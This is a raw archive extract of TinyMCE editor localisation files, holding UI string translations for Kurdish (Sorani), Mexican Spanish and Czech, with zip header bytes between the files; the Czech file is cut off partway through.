"Spellcheck Language": "\u0632\u0645\u0627\u0646\u06cc \u062a\u0627\u0648\u062a\u0648\u06ce\u06cc \u0695\u06ce\u0646\u0648\u0648\u0633",
"Select...": "\u0647\u06d5\u06b5\u0628\u0698\u0627\u0631\u062f\u0646...",
"Preferences": "\u0647\u06d5\u06b5\u0628\u0698\u0627\u0631\u062f\u06d5\u06a9\u0627\u0646",
"Yes": "\u0626\u06d5\u0631\u06ce",
"No": "\u0646\u06d5\u062e\u06ce\u0631",
"Keyboard Navigation": "\u0695\u06ce\u067e\u06ce\u0648\u0627\u0646 \u0628\u06d5 \u062a\u06d5\u062e\u062a\u06d5\u06a9\u0644\u06cc\u0644",
"Version": "\u0648\u06d5\u0634\u0627\u0646",
"Anchor": "\u0644\u06d5\u0646\u06af\u06d5\u0631",
"Special character": "\u0646\u0648\u0648\u0633\u06d5\u06cc \u062a\u0627\u06cc\u0628\u06d5\u062a",
"Color": "\u0695\u06d5\u0646\u06af",
"Emoticons": "\u0648\u06ce\u0646\u06c6\u0686\u06a9\u06d5\u06a9\u0627\u0646\u06cc \u0647\u06d5\u0633\u062a",
"Document properties": "\u062a\u0627\u06cc\u0628\u0647\u200c\u062a\u0645\u0647\u200c\u0646\u062f\u06cc\u06cc\u06d5\u06a9\u0627\u0646\u06cc \u0628\u06d5\u06b5\u06af\u06d5\u0646\u0627\u0645\u06d5",
"Insert link": "\u062e\u0633\u062a\u0646\u06d5\u0646\u0627\u0648\u06cc \u0628\u06d5\u0633\u062a\u06d5\u0631",
"Target": "\u0626\u0627\u0645\u0627\u0646\u062c",
"Poster": "\u067e\u06c6\u0633\u062a\u06d5\u0631",
"Print": "\u0686\u0627\u067e\u06a9\u0631\u062f\u0646",
"Whole words": "\u0647\u06d5\u0645\u0648\u0648 \u0648\u0634\u06d5\u06a9\u0627\u0646",
"Find and replace": "\u062f\u06c6\u0632\u06cc\u0646\u06d5\u0648\u06d5 \u0648 \u062c\u06ce\u06af\u06c6\u0695\u06cc\u0646",
"Prev": "\u067e\u06ce\u0634\u0648\u0648",
"Spellcheck": "\u067e\u0634\u06a9\u0646\u06cc\u0646\u06cc \u0695\u06ce\u0646\u0648\u0648\u0633",
"Caption": "\u0633\u06d5\u0631\u062f\u06ce\u0695",
"Insert template": "\u062e\u0633\u062a\u0646\u06d5\u0646\u0627\u0648\u06cc \u062f\u0627\u0695\u06ce\u0698\u06d5"
});PK
h�\Y>���=�=!program/js/tinymce/langs/es_MX.jsnu�[���tinymce.addI18n('es_MX',{
"Redo": "Rehacer",
"Undo": "Deshacer",
"Cut": "Cortar",
"Copy": "Copiar",
"Paste": "Pegar",
"Select all": "Seleccionar todo",
"New document": "Nuevo documento",
"Ok": "Aceptar",
"Cancel": "Cancelar",
"Visual aids": "Ayudas visuales",
"Bold": "Negrita",
"Italic": "Cursiva",
"Underline": "Subrayado",
"Strikethrough": "Tachado",
"Superscript": "Super\u00edndice",
"Subscript": "Sub\u00edndice",
"Clear formatting": "Borrar formato",
"Align left": "Alinear a la izquierda",
"Align center": "Alinear al centro",
"Align right": "Alinear a la derecha",
"Justify": "Justificar",
"Bullet list": "Lista de vi\u00f1etas",
"Numbered list": "Lista numerada",
"Decrease indent": "Reducir sangr\u00eda",
"Increase indent": "Aumentar sangr\u00eda",
"Close": "Cerrar",
"Formats": "Formatos",
"Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "Su navegador no admite el acceso directo al portapapeles. Utilice los m\u00e9todos abreviados de teclado Ctrl+ X\/C\/V.",
"Headers": "Encabezados",
"Header 1": "Encabezado 1",
"Header 2": "Encabezado 2",
"Header 3": "Encabezado 3",
"Header 4": "Encabezado 4",
"Header 5": "Encabezado 5",
"Header 6": "Encabezado 6",
"Headings": "T\u00edtulos",
"Heading 1": "T\u00edtulo 1",
"Heading 2": "T\u00edtulo 2",
"Heading 3": "T\u00edtulo 3",
"Heading 4": "T\u00edtulo 4",
"Heading 5": "T\u00edtulo 5",
"Heading 6": "T\u00edtulo 6",
"Preformatted": "Con formato previo",
"Div": "Div",
"Pre": "Pre",
"Code": "C\u00f3digo",
"Paragraph": "P\u00e1rrafo",
"Blockquote": "Blockquote",
"Inline": "En l\u00ednea",
"Blocks": "Bloques",
"Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.": "Se pegar\u00e1 en texto plano. El contenido se pegar\u00e1 como texto plano hasta que desactive esta opci\u00f3n.",
"Fonts": "Fuentes",
"Font Sizes": "Tama\u00f1os de fuente",
"Class": "Clase",
"Browse for an image": "Buscar una imagen",
"OR": "O",
"Drop an image here": "Soltar una imagen aqu\u00ed",
"Upload": "Cargar",
"Block": "Bloque",
"Align": "Alinear",
"Default": "Por defecto",
"Circle": "Circulo",
"Disc": "Disco",
"Square": "Cuadro",
"Lower Alpha": "Alfa min\u00fascula",
"Lower Greek": "Griega min\u00fascula",
"Lower Roman": "Romano min\u00fascula",
"Upper Alpha": "Alfa may\u00fascula",
"Upper Roman": "May\u00fascula Romana",
"Anchor...": "Marcador...",
"Name": "Nombre",
"Id": "Identificador",
"Id should start with a letter, followed only by letters, numbers, dashes, dots, colons or underscores.": "El Identificador debe comenzar con una letra, seguido solo por letras, n\u00fameros, puntos, guiones medios o guiones bajos.  ",
"You have unsaved changes are you sure you want to navigate away?": "No se  han guardado los cambios. \u00bfSeguro que desea abandonar la p\u00e1gina?",
"Restore last draft": "Restaurar el \u00faltimo borrador",
"Special character...": "Car\u00e1cter especial...",
"Source code": "C\u00f3digo fuente",
"Insert\/Edit code sample": "Insertar\/Editar c\u00f3digo muestra",
"Language": "idioma",
"Code sample...": "Ejemplo de c\u00f3digo...",
"Color Picker": "Selector de colores",
"R": "R",
"G": "G",
"B": "B",
"Left to right": "Izquierda a derecha",
"Right to left": "Derecha a Izquierda",
"Emoticons...": "Emoticonos...",
"Metadata and Document Properties": "Metadatos y propiedades del documento",
"Title": "T\u00edtulo",
"Keywords": "Palabras clave",
"Description": "Descripci\u00f3n ",
"Robots": "Robots",
"Author": "Autor",
"Encoding": "Codificaci\u00f3n",
"Fullscreen": "Pantalla completa",
"Action": "Acci\u00f3n",
"Shortcut": "Atajo",
"Help": "Ayuda",
"Address": "Direcci\u00f3n",
"Focus to menubar": "Enfocar en barra de menu",
"Focus to toolbar": "Enfocar en barra de herramientas",
"Focus to element path": "Enfocar ruta del elemento",
"Focus to contextual toolbar": "Enfocar en barra de herramientas contextual",
"Insert link (if link plugin activated)": "Insertar enlace (si enlace del plugin est\u00e1 activo)",
"Save (if save plugin activated)": "Guardar (si el plugin guardar est\u00e1 activo)",
"Find (if searchreplace plugin activated)": "Buscar (si el plugin buscar\/reemplazar est\u00e1 activo)",
"Plugins installed ({0}):": "Plugins instalados ({0}):",
"Premium plugins:": "Plugins premium:",
"Learn more...": "Aprende m\u00e1s...",
"You are using {0}": "est\u00e1s usando {0}",
"Plugins": "Plugins",
"Handy Shortcuts": "Atajos \u00fatiles",
"Horizontal line": "L\u00ednea Horizontal",
"Insert\/edit image": "Insertar\/editar imagen",
"Image description": "Descripci\u00f3n de imagen",
"Source": "Origen",
"Dimensions": "Dimensiones",
"Constrain proportions": "Restringir proporciones",
"General": "General",
"Advanced": "Avanzado",
"Style": "Estilo",
"Vertical space": "Espacio vertical",
"Horizontal space": "Espacio horizontal",
"Border": "Borde",
"Insert image": "Insertar imagen",
"Image...": "Imagen...",
"Image list": "Lista de im\u00e1genes",
"Rotate counterclockwise": "Rotar en sentido contrario a las manecillas",
"Rotate clockwise": "Rotar en sentido de las manecillas",
"Flip vertically": "Voltear verticalmente",
"Flip horizontally": "Volter horizontalmente",
"Edit image": "Editar imagen",
"Image options": "Opciones de la imagen",
"Zoom in": "Acercar",
"Zoom out": "Alejar",
"Crop": "Recortar",
"Resize": "Cambiar tama\u00f1o",
"Orientation": "Orientaci\u00f3n",
"Brightness": "Brillo",
"Sharpen": "Nitidez",
"Contrast": "Contraste",
"Color levels": "Niveles de Color",
"Gamma": "Gamma",
"Invert": "Invertir",
"Apply": "Aplicar",
"Back": "Regresar",
"Insert date\/time": "Insertar fecha\/hora",
"Date\/time": "Fecha\/hora",
"Insert\/Edit Link": "Insertar\/editar v\u00ednculo",
"Insert\/edit link": "Inserta\/editar enlace",
"Text to display": "Texto a mostrar",
"Url": "Url",
"Open link in...": "Abrir v\u00ednculo en...",
"Current window": "Ventana actual",
"None": "Ninguno",
"New window": "Nueva ventana",
"Remove link": "Eliminar elnace",
"Anchors": "Anclas",
"Link...": "V\u00ednculo...",
"Paste or type a link": "Pega o escribe un enlace",
"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?": "El URL que ha insertado tiene formato de correo electr\u00f3nico. \u00bfDesea agregar con prefijo \"mailto:\"?",
"The URL you entered seems to be an external link. Do you want to add the required http:\/\/ prefix?": "El URL que ha ingresado es un enlace externo. \u00bfDesea agregar el prefijo \"http:\/\/\"?",
"Link list": "Lista de enlaces",
"Insert video": "Insertar video",
"Insert\/edit video": "Insertar\/editar video",
"Insert\/edit media": "Insertar\/editar multimedia",
"Alternative source": "Fuente alternativa",
"Alternative source URL": "URL de origen alternativo",
"Media poster (Image URL)": "P\u00f3ster multimedia (URL de la imagen)",
"Paste your embed code below:": "Pegue su c\u00f3digo de inserci\u00f3n abajo:",
"Embed": "Incrustar",
"Media...": "Elemento multimedia...",
"Nonbreaking space": "Espacio de no separaci\u00f3n",
"Page break": "Salto de p\u00e1gina ",
"Paste as text": "Copiar como texto",
"Preview": "Vista previa ",
"Print...": "Imprimir...",
"Save": "Guardar",
"Find": "Buscar",
"Replace with": "Remplazar con",
"Replace": "Remplazar",
"Replace all": "Remplazar todo",
"Previous": "Anterior",
"Next": "Siguiente",
"Find and replace...": "Buscar y reemplazar...",
"Could not find the specified string.": "No se ha encontrado la cadena especificada.",
"Match case": "Coincidencia",
"Find whole words only": "Buscar solo palabras completas",
"Spell check": "Corrector ortogr\u00e1fico",
"Ignore": "Ignorar",
"Ignore all": "Ignorar todo",
"Finish": "Terminar",
"Add to Dictionary": "Agregar al diccionario ",
"Insert table": "Insertar tabla",
"Table properties": "Propiedades de tabla",
"Delete table": "Eliminar tabla",
"Cell": "Celda",
"Row": "Rengl\u00f3n ",
"Column": "Columna",
"Cell properties": "Propiedades de celda",
"Merge cells": "Unir celdas",
"Split cell": "Dividir celdas",
"Insert row before": "Insertar rengl\u00f3n antes",
"Insert row after": "Insertar rengl\u00f3n despu\u00e9s",
"Delete row": "Eliminar rengl\u00f3n ",
"Row properties": "Propiedades del rengl\u00f3n ",
"Cut row": "Cortar renglon",
"Copy row": "Copiar rengl\u00f3n ",
"Paste row before": "Pegar rengl\u00f3n antes",
"Paste row after": "Pegar rengl\u00f3n despu\u00e9s",
"Insert column before": "Insertar columna antes",
"Insert column after": "Insertar columna despu\u00e9s",
"Delete column": "Eliminar columna",
"Cols": "Columnas",
"Rows": "Renglones ",
"Width": "Ancho",
"Height": "Alto",
"Cell spacing": "Espacio entre celdas",
"Cell padding": "Relleno de la celda",
"Show caption": "Mostrar leyenda",
"Left": "Izquierda",
"Center": "Centro",
"Right": "Derecha",
"Cell type": "Tipo de celda",
"Scope": "Alcance",
"Alignment": "Alineaci\u00f3n ",
"H Align": "Alineaci\u00f3n Horizontal",
"V Align": "Alineaci\u00f3n Vertical",
"Top": "Arriba",
"Middle": "Centrado",
"Bottom": "Abajo",
"Header cell": "Celda de encabezado",
"Row group": "Grupo de renglones",
"Column group": "Grupo de columnas",
"Row type": "Tipo de rengl\u00f3n ",
"Header": "Encabezado",
"Body": "Cuerpo",
"Footer": "Pie",
"Border color": "Color del borde",
"Insert template...": "Insertar plantilla...",
"Templates": "Plantilla",
"Template": "Plantilla",
"Text color": "Color de letra",
"Background color": "Color de fondo",
"Custom...": "Personalizar",
"Custom color": "Perzonalizar color",
"No color": "Sin color",
"Remove color": "Eliminar color",
"Table of Contents": "Tabla de Contenidos",
"Show blocks": "Mostrar bloques",
"Show invisible characters": "Mostrar caracteres invisibles",
"Word count": "Contar palabras",
"Count": "Recuento",
"Document": "Documento",
"Selection": "Selecci\u00f3n",
"Words": "Palabras",
"Words: {0}": "Palabras:{0}",
"{0} words": "{0} palabras",
"File": "Archivo",
"Edit": "Editar",
"Insert": "Insertar",
"View": "Vistas",
"Format": "Formato",
"Table": "Tabla",
"Tools": "Herramientas",
"Powered by {0}": "Creado con {0}",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help": "Presione dentro del \u00e1rea de texto ALT-F9 para invocar el men\u00fa, ALT-F10 para la barra de herramientas y ALT-0 para la ayuda.",
"Image title": "T\u00edtulo de la imagen",
"Border width": "Ancho del borde",
"Border style": "Estilo del borde",
"Error": "Error",
"Warn": "Advertencia",
"Valid": "V\u00e1lido",
"To open the popup, press Shift+Enter": "Para abrir la ventana emergente, pulse May\u00fas+Intro",
"Rich Text Area. Press ALT-0 for help.": "\u00c1rea de texto enriquecido. Pulse ALT-0 para obtener ayuda.",
"System Font": "Fuente del sistema",
"Failed to upload image: {0}": "Error al cargar la imagen: {0}",
"Failed to load plugin: {0} from url {1}": "Error al cargar el complemento: {0} desde la url {1}",
"Failed to load plugin url: {0}": "Error al cargar la url del complemento: {0}",
"Failed to initialize plugin: {0}": "Error al inicializar el complemento: {0}",
"example": "ejemplo",
"Search": "Buscar",
"All": "Todo",
"Currency": "Moneda",
"Text": "Texto",
"Quotations": "Comillas",
"Mathematical": "Matem\u00e1ticos",
"Extended Latin": "Lat\u00edn extendido",
"Symbols": "S\u00edmbolos",
"Arrows": "Flechas",
"User Defined": "Definido por el usuario",
"dollar sign": "signo de d\u00f3lar",
"currency sign": "signo de moneda",
"euro-currency sign": "signo de euro",
"colon sign": "signo del col\u00f3n",
"cruzeiro sign": "signo del cruzeiro",
"french franc sign": "signo del franco franc\u00e9s",
"lira sign": "signo de la lira",
"mill sign": "signo de mil",
"naira sign": "signo del naira",
"peseta sign": "signo de la peseta",
"rupee sign": "signo de la rupia",
"won sign": "signo del won",
"new sheqel sign": "signo de nuevo shequel",
"dong sign": "signo del dong",
"kip sign": "signo del kip",
"tugrik sign": "signo del tugrik",
"drachma sign": "signo del dracma",
"german penny symbol": "signo del penique alem\u00e1n",
"peso sign": "signo del peso",
"guarani sign": "signo del guaran\u00ed",
"austral sign": "signo del austral",
"hryvnia sign": "signo de hryvnia",
"cedi sign": "signo de cedi",
"livre tournois sign": "signo de livre tournois",
"spesmilo sign": "signo de spesmilo",
"tenge sign": "signo de tenge",
"indian rupee sign": "signo de la rupia india",
"turkish lira sign": "signo de la lira turca",
"nordic mark sign": "signo del marco n\u00f3rdico",
"manat sign": "signo de manat",
"ruble sign": "signo de rublo",
"yen character": "car\u00e1cter del yen",
"yuan character": "car\u00e1cter del yuan",
"yuan character, in hong kong and taiwan": "car\u00e1cter del yuan, en Hong Kong y Taiw\u00e1n",
"yen\/yuan character variant one": "variante uno del car\u00e1cter del yen\/yuan",
"Loading emoticons...": "Cargando emoticonos...",
"Could not load emoticons": "No se pudieron cargar los emoticonos",
"People": "Personas",
"Animals and Nature": "Animales y naturaleza",
"Food and Drink": "Comida y bebida",
"Activity": "Actividad",
"Travel and Places": "Viajes y lugares",
"Objects": "Objetos",
"Flags": "Banderas",
"Characters": "Caracteres",
"Characters (no spaces)": "Caracteres (sin espacios)",
"{0} characters": "{0} caracteres",
"Error: Form submit field collision.": "Error: colisi\u00f3n de campo env\u00edo de formulario.",
"Error: No form element found.": "Error: no se encontr\u00f3 ning\u00fan elemento de formulario.",
"Update": "Actualizar",
"Color swatch": "Muestrario de colores",
"Turquoise": "Turquesa",
"Green": "Verde",
"Blue": "Azul",
"Purple": "Morado",
"Navy Blue": "Azul marino",
"Dark Turquoise": "Turquesa oscuro",
"Dark Green": "Verde oscuro",
"Medium Blue": "Azul medio",
"Medium Purple": "Morado medio",
"Midnight Blue": "Azul noche",
"Yellow": "Amarillo",
"Orange": "Anaranjado",
"Red": "Rojo",
"Light Gray": "Gris claro",
"Gray": "Gris",
"Dark Yellow": "Amarillo oscuro",
"Dark Orange": "Anaranjado oscuro",
"Dark Red": "Rojo oscuro",
"Medium Gray": "Gris medio",
"Dark Gray": "Gris oscuro",
"Light Green": "Verde claro",
"Light Yellow": "Amarillo claro",
"Light Red": "Rojo claro",
"Light Purple": "Morado claro",
"Light Blue": "Azul claro",
"Dark Purple": "Morado oscuro",
"Dark Blue": "Azul oscuro",
"Black": "Negro",
"White": "Blanco",
"Switch to or from fullscreen mode": "Cambiar a modo de pantalla completa o salir de \u00e9l",
"Open help dialog": "Abrir di\u00e1logo de ayuda",
"history": "historial",
"styles": "estilos",
"formatting": "formato",
"alignment": "alineaci\u00f3n",
"indentation": "sangr\u00eda",
"permanent pen": "l\u00e1piz permanente",
"comments": "comentarios",
"Format Painter": "Copiar formato",
"Insert\/edit iframe": "Insertar\/editar marco flotante",
"Capitalization": "Uso de may\u00fasculas",
"lowercase": "min\u00fascula",
"UPPERCASE": "MAY\u00daSCULA",
"Title Case": "Tipo t\u00edtulo",
"Permanent Pen Properties": "Propiedades del l\u00e1piz permanente",
"Permanent pen properties...": "Propiedades del l\u00e1piz permanente...",
"Font": "Fuente",
"Size": "Tama\u00f1o",
"More...": "M\u00e1s...",
"Spellcheck Language": "Idioma de la revisi\u00f3n ortogr\u00e1fica",
"Select...": "Seleccionar...",
"Preferences": "Preferencias",
"Yes": "S\u00ed",
"No": "No",
"Keyboard Navigation": "Navegaci\u00f3n con el teclado",
"Version": "Versi\u00f3n",
"Anchor": "Anclar",
"Special character": "Caracter especial",
"Code sample": "C\u00f3digo muestra",
"Color": "Color",
"Emoticons": "Emoticones",
"Document properties": "Propiedades del documento",
"Image": "Imagen",
"Insert link": "Insertar enlace",
"Target": "Objetivo",
"Link": "Enlace",
"Poster": "Cartel",
"Media": "Multimedia",
"Print": "Imprimir",
"Prev": "Anterior",
"Find and replace": "Buscar y reemplazar",
"Whole words": "Palabras completas",
"Spellcheck": "Revisi\u00f3n ortogr\u00e1fica",
"Caption": "Subt\u00edtulo",
"Insert template": "Insertar plantilla"
});PK
h�\>�o�N�N!program/js/tinymce/langs/cs_CZ.jsnu�[���tinymce.addI18n('cs_CZ',{
"Redo": "Znovu",
"Undo": "Zp\u011bt",
"Cut": "Vyjmout",
"Copy": "Kop\u00edrovat",
"Paste": "Vlo\u017eit",
"Select all": "Vybrat v\u0161e",
"New document": "Nov\u00fd dokument",
"Ok": "Ok",
"Cancel": "Zru\u0161it",
"Visual aids": "Vizu\u00e1ln\u00ed pom\u016fcky",
"Bold": "Tu\u010dn\u011b",
"Italic": "Kurz\u00edva",
"Underline": "Podtr\u017een\u00e9",
"Strikethrough": "P\u0159e\u0161krtnut\u00e9",
"Superscript": "Horn\u00ed index",
"Subscript": "Doln\u00ed index",
"Clear formatting": "Vymazat form\u00e1tov\u00e1n\u00ed",
"Align left": "Vlevo",
"Align center": "Na st\u0159ed",
"Align right": "Vpravo",
"Justify": "Zarovnat do bloku",
"Bullet list": "Odr\u00e1\u017eky",
"Numbered list": "\u010c\u00edslov\u00e1n\u00ed",
"Decrease indent": "Zmen\u0161it odsazen\u00ed",
"Increase indent": "Zv\u011b\u0161it odsazen\u00ed",
"Close": "Zav\u0159\u00edt",
"Formats": "Form\u00e1ty",
"Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "V\u00e1\u0161 prohl\u00ed\u017ee\u010d nepodporuje p\u0159\u00edm\u00fd p\u0159\u00edstup do schr\u00e1nky. Pou\u017eijte pros\u00edm kl\u00e1vesov\u00e9 zkratky Ctrl+X\/C\/V.",
"Headers": "Nadpisy",
"Header 1": "Nadpis 1",
"Header 2": "Nadpis 2",
"Header 3": "Nadpis 3",
"Header 4": "Nadpis 4",
"Header 5": "Nadpis 5",
"Header 6": "Nadpis 6",
"Headings": "Nadpisy",
"Heading 1": "Nadpis 1",
"Heading 2": "Nadpis 2",
"Heading 3": "Nadpis 3",
"Heading 4": "Nadpis 4",
"Heading 5": "Nadpis 5",
"Heading 6": "Nadpis 6",
"Preformatted": "P\u0159edform\u00e1tovan\u00fd text",
"Div": "Div (blok)",
"Pre": "Pre (p\u0159edform\u00e1tov\u00e1no)",
"Code": "Code (k\u00f3d)",
"Paragraph": "Odstavec",
"Blockquote": "Citace",
"Inline": "\u0158\u00e1dkov\u00e9 zobrazen\u00ed (inline)",
"Blocks": "Blokov\u00e9 zobrazen\u00ed (block)",
"Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.": "Je zapnuto vkl\u00e1d\u00e1n\u00ed \u010dist\u00e9ho textu. Dokud nebude tato volba vypnuta, bude ve\u0161ker\u00fd obsah vlo\u017een jako \u010dist\u00fd text.",
"Fonts": "P\u00edsma",
"Font Sizes": "Velikost p\u00edsma",
"Class": "T\u0159\u00edda",
"Browse for an image": "Vybrat obr\u00e1zek",
"OR": "NEBO",
"Drop an image here": "P\u0159et\u00e1hn\u011bte obr\u00e1zek sem",
"Upload": "Nahr\u00e1t",
"Block": "Blok",
"Align": "Zarovnat",
"Default": "V\u00fdchoz\u00ed",
"Circle": "Kole\u010dko",
"Disc": "Punt\u00edk",
"Square": "\u010ctvere\u010dek",
"Lower Alpha": "Mal\u00e1 p\u00edsmena",
"Lower Greek": "\u0158eck\u00e1 p\u00edsmena",
"Lower Roman": "Mal\u00e9 \u0159\u00edmsl\u00e9 \u010d\u00edslice",
"Upper Alpha": "Velk\u00e1 p\u00edsmena",
"Upper Roman": "\u0158\u00edmsk\u00e9 \u010d\u00edslice",
"Anchor...": "Kotva",
"Name": "N\u00e1zev",
"Id": "ID",
"Id should start with a letter, followed only by letters, numbers, dashes, dots, colons or underscores.": "ID by m\u011blo za\u010d\u00ednat p\u00edsmenem, n\u00e1sledovan\u00fdm pouze p\u00edsmeny, \u010d\u00edsly, poml\u010dkami, te\u010dkami, \u010d\u00e1rkami a nebo podtr\u017e\u00edtky.",
"You have unsaved changes are you sure you want to navigate away?": "M\u00e1te neulo\u017een\u00e9 zm\u011bny. Opravdu chcete opustit str\u00e1nku?",
"Restore last draft": "Obnovit posledn\u00ed koncept.",
"Special character...": "Speci\u00e1ln\u00ed znak",
"Source code": "Zdrojov\u00fd k\u00f3d",
"Insert\/Edit code sample": "Vlo\u017eit\/Upravit uk\u00e1zku k\u00f3du",
"Language": "Jazyk",
"Code sample...": "Uk\u00e1zkov\u00fd k\u00f3d",
"Color Picker": "V\u00fdb\u011br barvy",
"R": "R",
"G": "G",
"B": "B",
"Left to right": "Zleva doprava",
"Right to left": "Zprava doleva",
"Emoticons": "Emotikony",
"Emoticons...": "Emotikony",
"Metadata and Document Properties": "Metadata a vlastnosti dokumentu",
"Title": "Titulek",
"Keywords": "Kl\u00ed\u010dov\u00e1 slova",
"Description": "Popis",
"Robots": "Roboti",
"Author": "Autor",
"Encoding": "K\u00f3dov\u00e1n\u00ed",
"Fullscreen": "Celk\u00e1 obrazovka",
"Action": "Akce",
"Shortcut": "Kl\u00e1vesov\u00e1 zkratka",
"Help": "N\u00e1pov\u011bda",
"Address": "Blok s po\u0161tovn\u00ed adresou",
"Focus to menubar": "P\u0159ej\u00edt do menu",
"Focus to toolbar": "P\u0159ej\u00edt na panel n\u00e1stroj\u016f",
"Focus to element path": "Focus to element path",
"Focus to contextual toolbar": "P\u0159ej\u00edt na kontextov\u00fd panel n\u00e1stroj\u016f",
"Insert link (if link plugin activated)": "Vlo\u017eit odkaz (pokud je aktivn\u00ed link plugin)",
"Save (if save plugin activated)": "Ulo\u017eit (pokud je aktivni save plugin)",
"Find (if searchreplace plugin activated)": "Hledat (pokud je aktivn\u00ed plugin searchreplace)",
"Plugins installed ({0}):": "Instalovan\u00e9 pluginy ({0}):",
"Premium plugins:": "Pr\u00e9miov\u00e9 pluginy:",
"Learn more...": "Zjistit v\u00edce...",
"You are using {0}": "Pou\u017e\u00edv\u00e1te {0}",
"Plugins": "Pluginy",
"Handy Shortcuts": "U\u017eite\u010dn\u00e9 kl\u00e1vesov\u00e9 zkratky",
"Horizontal line": "Vodorovn\u00e1 linka",
"Insert\/edit image": "Vlo\u017eit \/ upravit obr\u00e1zek",
"Alternative description": "Alternativn\u00ed text",
"Accessibility": "Bez alternativn\u00edho textu",
"Image is decorative": "(dekorativn\u00ed obr\u00e1zek bez alternativn\u00edho textu)",
"Source": "URL",
"Dimensions": "Rozm\u011bry",
"Constrain proportions": "Zachovat proporce",
"General": "Obecn\u00e9",
"Advanced": "Pokro\u010dil\u00e9",
"Style": "Styl",
"Vertical space": "Vertik\u00e1ln\u00ed mezera",
"Horizontal space": "Horizont\u00e1ln\u00ed mezera",
"Border": "R\u00e1me\u010dek",
"Insert image": "Vlo\u017eit obr\u00e1zek",
"Image...": "Obr\u00e1zek...",
"Image list": "Seznam obr\u00e1zk\u016f",
"Rotate counterclockwise": "Oto\u010dit doleva",
"Rotate clockwise": "Oto\u010dit doprava",
"Flip vertically": "P\u0159evr\u00e1tit svisle",
"Flip horizontally": "P\u0159evr\u00e1tit vodorovn\u011b",
"Edit image": "Upravit obr\u00e1zek",
"Image options": "Vlastnosti obr\u00e1zku",
"Zoom in": "P\u0159ibl\u00ed\u017eit",
"Zoom out": "Odd\u00e1lit",
"Crop": "O\u0159\u00edznout",
"Resize": "Zm\u011bnit velikost",
"Orientation": "Orientace",
"Brightness": "Jas",
"Sharpen": "Ostrost",
"Contrast": "Kontrast",
"Color levels": "\u00darovn\u011b barev",
"Gamma": "Gama",
"Invert": "Invertovat",
"Apply": "Pou\u017e\u00edt",
"Back": "Zp\u011bt",
"Insert date\/time": "Vlo\u017eit datum \/ \u010das",
"Date\/time": "Datum\/\u010das",
"Insert\/edit link": "Vlo\u017eit \/ upravit odkaz",
"Text to display": "Text odkazu",
"Url": "URL",
"Open link in...": "C\u00edlov\u00e9 okno URL",
"Current window": "Otev\u0159\u00edt v aktu\u00e1ln\u00edm okn\u011b",
"None": "\u017d\u00e1dn\u00fd",
"New window": "Nov\u00e9 okno",
"Open link": "C\u00edlov\u00e9 okno URL",
"Remove link": "Odstranit odkaz",
"Anchors": "Kotvy",
"Link...": "Odkaz...",
"Paste or type a link": "Vlo\u017ete nebo napi\u0161te adresu odkazu",
"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?": "Zadan\u00e9 URL vypad\u00e1 jako e-mailov\u00e1 adresa. Chcete doplnit povinn\u00fd prefix mailto:?",
"The URL you entered seems to be an external link. Do you want to add the required http:\/\/ prefix?": "Zadan\u00e9 URL vypad\u00e1 jako odkaz na jin\u00fd web. Chcete doplnit povinn\u00fd prefix http:\/\/?",
"The URL you entered seems to be an external link. Do you want to add the required https:\/\/ prefix?": "Zadan\u00e9 URL vypad\u00e1 jako odkaz na jin\u00fd web. Chcete doplnit povinn\u00fd prefix https:\/\/?",
"Link list": "Seznam odkaz\u016f",
"Insert video": "Vlo\u017eit video",
"Insert\/edit video": "Vlo\u017eit \/ upravit video",
"Insert\/edit media": "Vlo\u017eit\/upravit m\u00e9dia",
"Alternative source": "Alternativn\u00ed zdroj",
"Alternative source URL": "Alternativn\u00ed zdrojov\u00e1 URL",
"Media poster (Image URL)": "URL n\u00e1hledu",
"Paste your embed code below:": "Vlo\u017ete k\u00f3d pro vlo\u017een\u00ed",
"Embed": "Vlo\u017een\u00fd",
"Media...": "M\u00e9dia",
"Nonbreaking space": "Pevn\u00e1 mezera",
"Page break": "Konec str\u00e1nky",
"Paste as text": "Vlo\u017eit jako \u010dist\u00fd text",
"Preview": "N\u00e1hled",
"Print...": "Tisk",
"Save": "Ulo\u017eit",
"Find": "Naj\u00edt",
"Replace with": "Nahradit za",
"Replace": "Nahradit",
"Replace all": "Nahradit v\u0161e",
"Previous": "P\u0159edchoz\u00ed",
"Next": "Dal\u0161\u00ed",
"Find and Replace": "Naj\u00edt a nahradit",
"Find and replace...": "Naj\u00edt a nahradit",
"Could not find the specified string.": "Zadan\u00fd \u0159et\u011bzec nebyl nalezen.",
"Match case": "Rozli\u0161ovat mal\u00e1 a velk\u00e1 p\u00edsmena",
"Find whole words only": "Pouze cel\u00e1 slova",
"Find in selection": "Ozna\u010den\u00fd text",
"Spellcheck": "Kontrola pravopisu",
"Spellcheck Language": "Jazyk kontroly pravopisu",
"No misspellings found.": "Nebyly nalezeny \u017e\u00e1dn\u00e9 p\u0159eklepy.",
"Ignore": "Ignorovat",
"Ignore all": "Ignorovat v\u0161e",
"Finish": "Dokon\u010dit",
"Add to Dictionary": "P\u0159idat do slovn\u00edku",
"Insert table": "Vlo\u017eit tabulku",
"Table properties": "Vlastnosti tabulky",
"Delete table": "Smazat tabulku",
"Cell": "Bu\u0148ka",
"Row": "\u0158\u00e1dek",
"Column": "Sloupec",
"Cell properties": "Vlastnosti bu\u0148ky",
"Merge cells": "Slou\u010dit bu\u0148ky",
"Split cell": "Rozd\u011blit bu\u0148ku",
"Insert row before": "Vlo\u017eit \u0159\u00e1dek p\u0159ed",
"Insert row after": "Vlo\u017eit \u0159\u00e1dek za",
"Delete row": "Smazat \u0159\u00e1dek",
"Row properties": "Vlastnosti \u0159\u00e1dku",
"Cut row": "Vyjmout \u0159\u00e1dek",
"Copy row": "Kop\u00edrovat \u0159\u00e1dek",
"Paste row before": "Vlo\u017eit \u0159\u00e1dek nad",
"Paste row after": "Vlo\u017eit \u0159\u00e1dek pod",
"Insert column before": "Vlo\u017eit sloupec vlevo",
"Insert column after": "Vlo\u017eit sloupec vpravo",
"Delete column": "Smazat sloupec",
"Cols": "Sloupce",
"Rows": "\u0158\u00e1dky",
"Width": "\u0160\u00ed\u0159ka",
"Height": "V\u00fd\u0161ka",
